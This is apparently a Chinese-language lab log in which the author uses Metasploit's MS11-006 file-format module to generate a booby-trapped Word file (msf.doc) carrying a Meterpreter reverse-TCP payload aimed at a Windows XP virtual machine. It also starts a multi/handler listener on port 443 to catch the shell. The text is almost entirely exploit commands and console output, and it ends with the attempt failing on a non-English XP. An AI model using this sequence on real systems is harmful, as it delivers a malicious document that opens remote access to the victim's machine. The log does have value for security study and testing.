metasploit文件格式漏洞渗透攻击（成功生成doc）

因为BT5R3失败了，所以现在换成了BT5R1。

msf > use windows/fileformat/ms11_006_createsizeddibsection
msf  exploit(ms11_006_createsizeddibsection) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(ms11_006_createsizeddibsection) > set LHOST 192.168.1.11
LHOST => 192.168.1.11
msf  exploit(ms11_006_createsizeddibsection) > set LPORT 443
LPORT => 443
msf  exploit(ms11_006_createsizeddibsection) > set OUTPUTPATH /opt/framework/msf3/data/exploits/
OUTPUTPATH => /opt/framework/msf3/data/exploits/
msf  exploit(ms11_006_createsizeddibsection) > show options

Module options (exploit/windows/fileformat/ms11_006_createsizeddibsection):

Name        Current Setting                     Required  Description
----        ---------------                     --------  -----------
FILENAME    msf.doc                             yes       The file name.
OUTPUTPATH  /opt/framework/msf3/data/exploits/  yes       The output path to use.

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  seh              yes       Exit technique: seh, thread, process, none
LHOST     192.168.1.11     yes       The listen address
LPORT     443              yes       The listen port

Exploit target:

Id  Name
--  ----
0   Automatic

msf  exploit(ms11_006_createsizeddibsection) > exploit

[*] Creating 'msf.doc' file ...
[*] Generated output file /opt/framework/msf3/data/exploits/msf.doc
msf  exploit(ms11_006_createsizeddibsection) >

生成了msf.doc，把这个文件复制到XP虚拟机里。

然后，在BT5里输入命令：

msf  exploit(ms11_006_createsizeddibsection) > use multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.1.11
LHOST => 192.168.1.11
msf  exploit(handler) > set LPORT 443
LPORT => 443
msf  exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.11:443
[*] Starting the payload handler...
msf  exploit(handler) >

我打开msf.doc，但是BT5没有成功打开shell。可能不是英文的缘故吧。明天换个英文的XP试试。